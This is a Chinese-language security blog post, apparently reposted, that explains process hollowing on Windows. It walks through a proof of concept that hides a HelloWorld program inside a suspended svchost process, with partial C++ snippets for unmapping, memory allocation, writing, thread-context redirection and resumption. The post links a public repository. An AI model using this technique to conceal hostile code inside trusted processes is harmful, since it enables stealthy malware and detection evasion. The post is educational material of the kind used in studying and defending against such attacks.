Windows进程空洞(Hollow Process )注入

admin 2024年9月19日13:17:48评论10 views字数 4617阅读15分23秒阅读模式

Hollow进程注入介绍

Windows进程空洞(Hollow Process )注入

与传统的进程注入(将恶意代码注入已运行的进程)不同, Hollow进程注入会暂停合法进程 ,用恶意代码覆盖其现有代码部分,然后恢复进程。本质上,攻击者会创建原始进程的“空心”外壳,并将代码注入其中。

Hollow进程注入原理    

想象一下,系统上运行着一个合法程序,比如一个基本的记事本应用程序,空进程注入利用了程序运行过程中的漏洞。

  • 目标选择:攻击者首先确定系统上运行的目标进程。此进程通常是一个受信任且常用的应用程序,以逃避检测。

  • 创建暂停进程:攻击者创建处于暂停状态的目标进程的新实例。这允许他们在进程开始执行之前对其进行操纵。

  • 取消映射原始代码 :攻击者利用系统调用取消映射包含挂起进程的原始可执行代码的内存部分,从而将其掏空。

  • 分配内存接下来,攻击者在暂停的进程内分配内存来保存他们的恶意负载。

  • 注入恶意代码:攻击者将恶意代码注入被挖空的进程分配的内存空间。该代码可以执行各种恶意活动,例如窃取敏感数据、执行其他有效负载或建立后门访问。

  • 调整入口点 :更新进程的入口点,指向注入的恶意代码,确保进程在恢复时执行攻击者的代码。

  • 恢复执行:最后,攻击者恢复空心进程的执行,该进程现在运行恶意代码而不是原始代码。

从外部看,该程序似乎运行正常。然而,在后台,恶意代码已完全取代了合法代码,并且现在以与原始进程相同的权限运行。这使攻击者可以秘密执行有害活动,例如窃取数据、安装其他恶意软件或破坏系统操作,同时避免被发现。

Hollow进程注入Poc

从构建一个挂起的 svchost 进程(目标)开始,随后在其上下文中执行 helloworld.exe(要运行的代码)。这将生成一个消息窗口。现在让我们深入研究代码,以更深入地了解挖空。

  • 创建挂起进程:第一步是创建一个处于挂起状态的新进程。这使我们能够在进程开始执行之前对其进行操作。在此示例中,我们使用 CreateProcessA 函数创建一个挂起的 svchost 进程。CreateProcessA 函数用于创建处于挂起状态的新进程。CREATE_SUSPENDED 标志可确保进程不会立即开始执行。这使我们能够在进程开始运行之前对其进行内存操作。    

JavaScript                  
CreateProcessA(0, pDestCmdLine, 0, 0,0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo);

  • 读取远程进程环境块 (PEB):接下来,我们读取挂起进程的进程环境块 (PEB)。PEB 包含有关进程的重要信息,包括可执行映像的基址。自定义函数 ReadRemotePEB 和 ReadRemoteImage 用于实现此目的。PEB 提供有关进程的详细信息,例如已加载的模块和可执行文件的基址。读取这些信息对于理解进程的内存布局和正确注入新代码至关重要。

JavaScript                  
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);                  
PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);

  • 打开源图像:打开源可执行文件 (helloworld.exe),并将其内容读入内存。这是使用 CreateFileA、ReadFile 和 GetFileSize 函数完成的。文件的内容存储在缓冲区中以供以后使用。

JavaScript                  
HANDLE hFile = CreateFileA( pSourceFile, GENERIC_READ,0, 0, OPEN_ALWAYS, 0, 0);                  
                 
// ... Some code ...                  
                 
DWORD dwSize = GetFileSize(hFile, 0);                  
PBYTE pBuffer = new BYTE[dwSize];                  
DWORD dwBytesRead = 0;                  
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);                  
CloseHandle(hFile);                  
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);                  
PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);

  • 取消映射原始代码:在注入新代码之前,我们需要使用 NtUnmapViewOfSection 函数取消映射目标进程中的原始代码。此函数是从 ntdll.dll 动态检索的。通过取消映射原始代码,可以释放合法进程代码先前占用的内存。此步骤对于为新代码分配内存是必要的。

JavaScript                  
HMODULE hNTDLL = GetModuleHandleA("ntdll");                  
                 
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");                  
                 
_NtUnmapViewOfSection NtUnmapViewOfSection =                  
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;                  
                 
DWORD dwResult = NtUnmapViewOfSection                  
(                  
pProcessInfo->hProcess,                  
pPEB->ImageBaseAddress                  
);                  
       

  • 分配内存:使用 VirtualAllocEx 在目标进程中为新代码分配内存。VirtualAllocEx 在目标进程的地址空间中分配内存。内存分配了必要的权限 (PAGE_EXECUTE_READWRITE),以允许新代码执行。

JavaScript                  
PVOID pRemoteImage = VirtualAllocEx                  
(                  
pProcessInfo->hProcess,                  
pPEB->ImageBaseAddress,                  
pSourceHeaders->OptionalHeader.SizeOfImage,                  
MEM_COMMIT | MEM_RESERVE,                  
PAGE_EXECUTE_READWRITE                  
);

  • 写入标头、Sections并处理重定位:下一步是将源映像的标头和节写入目标进程的分配内存中,WriteProcessMemory 用于执行此任务,它将源映像的标头和节写入目标进程的内存中,这有效地将代码和数据从源可执行文件传输到目标进程。如果映像的基址发生变化,我们需要处理重定位以调整代码中的地址。重定位步骤可确保所有指针和引用在新的内存位置中得到正确解析。

JavaScript                  
if (!WriteProcessMemory                  
(                  
pProcessInfo->hProcess,                  
pPEB->ImageBaseAddress,                  
pBuffer,                  
pSourceHeaders->OptionalHeader.SizeOfHeaders,                  
0                  
))
       

  • 设置入口点:通过使用 GetThreadContext 和 SetThreadContext 修改线程上下文,调整进程的入口点以指向新代码。GetThreadContext 检索主线程的当前上下文, SetThreadContext 将其更新以指向新的入口点。

JavaScript                  
LPCONTEXT pContext = new CONTEXT();                  
pContext->ContextFlags = CONTEXT_INTEGER;                  
                 
// ... Some code ...                  
                 
if (!GetThreadContext(pProcessInfo->hThread, pContext))                  
{                  
printf("Error getting contextrn");                  
return;                  
}                  
                 
pContext->Eax = dwEntrypoint;                  
                 
// ... Some code ...                  
                 
if (!SetThreadContext(pProcessInfo->hThread, pContext))                  
{                  
printf("Error setting contextrn");                  
return;                  
}

  • 恢复执行:最后,我们恢复暂停的进程,以便它开始使用 ResumeThread 执行注入的代码。

JavaScript                  
if (!ResumeThread(pProcessInfo->hThread))                  
{                  
printf("Error resuming threadrn");                  
return;                  
}

编译 PoC

上述流程完整代码可参考 https://github.com/m0n0ph1/Process-Hollowing    

Windows进程空洞(Hollow Process )注入

该项目包含 Process Hollowing 和 HelloWorld 应用程序的代码。构建整个项目以编译这两个可执行文件。

注意 :ProcessHollowing.cpp 文件中可能包含一行附加代码。附加代码将显示进程的 PID(进程 ID),帮助识别已被挖空的 svchost 进程。在开头使用 CreateProcessA 函数后插入以下行。

JavaScript                  
printf("Process created successfully. PID: %un", pProcessInfo->dwProcessId)

Windows进程空洞(Hollow Process )注入

执行 PoC

一旦创建了编译的程序,请导航到 VS 项目文件夹内的 Release 文件夹(如果您在构建期间选择了 Release),双击可执行文件,您应该能够看到一个带有“Hello World”的消息框。    

Windows进程空洞(Hollow Process )注入

根据上面的截图,很明显生成了一个新的 svchost 进程,其进程 ID(PID)为 12884。控制台显示了导致 HelloWorld 程序执行的多个阶段。

检查任务管理器后,我们应该看到 svchost 进程的存在,而不是 HelloWorld 程序,这表明 hollowing 已有效实现。

Windows进程空洞(Hollow Process )注入

HelloWorld程序已成功隐藏在svchost进程内。

原文始发于微信公众号(暴暴的皮卡丘):Windows进程空洞(Hollow Process )注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日13:17:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows进程空洞(Hollow Process )注入https://cn-sec.com/archives/3181588.html

发表评论

匿名网友 填写信息